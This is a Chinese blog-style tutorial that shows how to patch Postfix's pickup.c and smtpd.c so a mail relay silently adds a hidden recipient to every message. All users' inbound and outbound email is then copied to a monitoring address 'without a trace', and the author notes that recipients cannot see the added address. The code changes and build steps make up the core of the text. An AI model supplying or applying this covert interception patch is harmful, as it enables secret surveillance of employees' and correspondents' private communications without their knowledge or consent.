分享
 
 
 

监控你E-mail用户的邮件(Postfix篇)

王朝other·作者佚名  2008-05-18
窄屏简体版  字體: |||超大  

一、 环境

公司的Internet邮件系统是Exchange 5.5,考虑到NT和exchange的安全性,系统并非直接连Internet,而是放置在局域网内,通过一台SMTP转发主机(双网卡,连内外网段)往外转发邮件。同时,通过DNS中MX记录的设定,外界发给公司用户的邮件也是通过该SMTP转发主机往exchange转。该SMTP转发主机操作系统用FreeBSD 4.3-Release,邮件系统用Postfix release-20010228 + patch1、2、3。

二、 目的

如何才能捕获用户的邮件?既公司用户往外发的邮件和发往公司用户的邮件能不留痕迹的给自己转一份。我看了看Exchange 5.5、Postfix的配置文档,好像没有这方面的设置(如果有谁知道有,告诉我一声,谢谢!)。好在postfix公开源代码,虽然我不是程序员,但大学时期学的C还没丢光。便从www.postfix.org 下载了release-20010228及其patch1、2、3,试着修改源代码了。

三、 步骤

首先将release-20010228.tar.gz上载到系统的某个目录下。运行:

# tar zxvf release-20010228

将在当前目录下生成release-20010228目录,将patch上载到该目录下,运行:

# patch < postfix-20010228-patch01.gz

# patch < postfix-20010228-patch02.gz

# patch < postfix-20010228-patch03.gz

A、 进入src/pickup目录,用vi打开pickup.c,搜索copy_segment,找到copy_segment这个函数,在int check_first = (*expected == REC_TYPE_CONTENT[0]); 后加入一个变量申明:VSTRING *spy;

往下10几行,看到:

if (type == REC_TYPE_RCPT)

if (info->rcpt == 0)

info->rcpt = mystrdup(vstring_str(buf));

将其改成:

if (type == REC_TYPE_RCPT)

if (info->rcpt == 0)

{

info->rcpt = mystrdup(vstring_str(buf));

spy = vstring_alloc(20);

vstring_strcpy(spy, "xxx@xxx.xxx"); /* 将 xxx@xxx.xxx 加入接收者列表 */

REC_PUT_BUF(cleanup, type, spy);

vstring_free(spy);

}

B、 进入src/smtpd目录,用vi打开smtpd.c,搜索rcpt_cmd,找到rcpt_cmd这个函数,往下走三十来行,看到:

state->rcpt_count++;

if (state->recipient == 0)

state->recipient = mystrdup(argv[2].strval);

将其改成:

state->rcpt_count++;

if (state->recipient == 0)

{

state->recipient = mystrdup(argv[2].strval);

rec_fputs(state->cleanup, REC_TYPE_RCPT, "xxx@xxx.xxx");

state->rcpt_count++;

}

然后退回到release-20010228目录下,运行make; make install重新编译、安装即可。

· A处的修改是postfix邮件系统的本地用户发送接收邮件,都将在recipient里插入一个接收者xxx@xxx.xxx,实际上用处不大,因为现在没有谁会在UNIX终端下用mail来发送邮件。

· B处的修改是凡是通过smtp协议转来或转走的邮件,都在recipient里插入一个接收者 xxx@xxx.xxx,在上述环境中,该处的修改是关键。

这样,只要是经过该postfix处理的邮件,xxx@xxx.xxx都能收到一份!

四、 备注

1、 上面所做的修改,邮件接收者不会在收件人一栏里看到 xxx@xxx.xxx这个账号

2、 请先估计一下postfix每天处理的邮件的流量,以防监控邮箱爆了。

3、 代码中msg_info函数是日志记录函数,可以根据自己的需求定制。

4、 待续

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有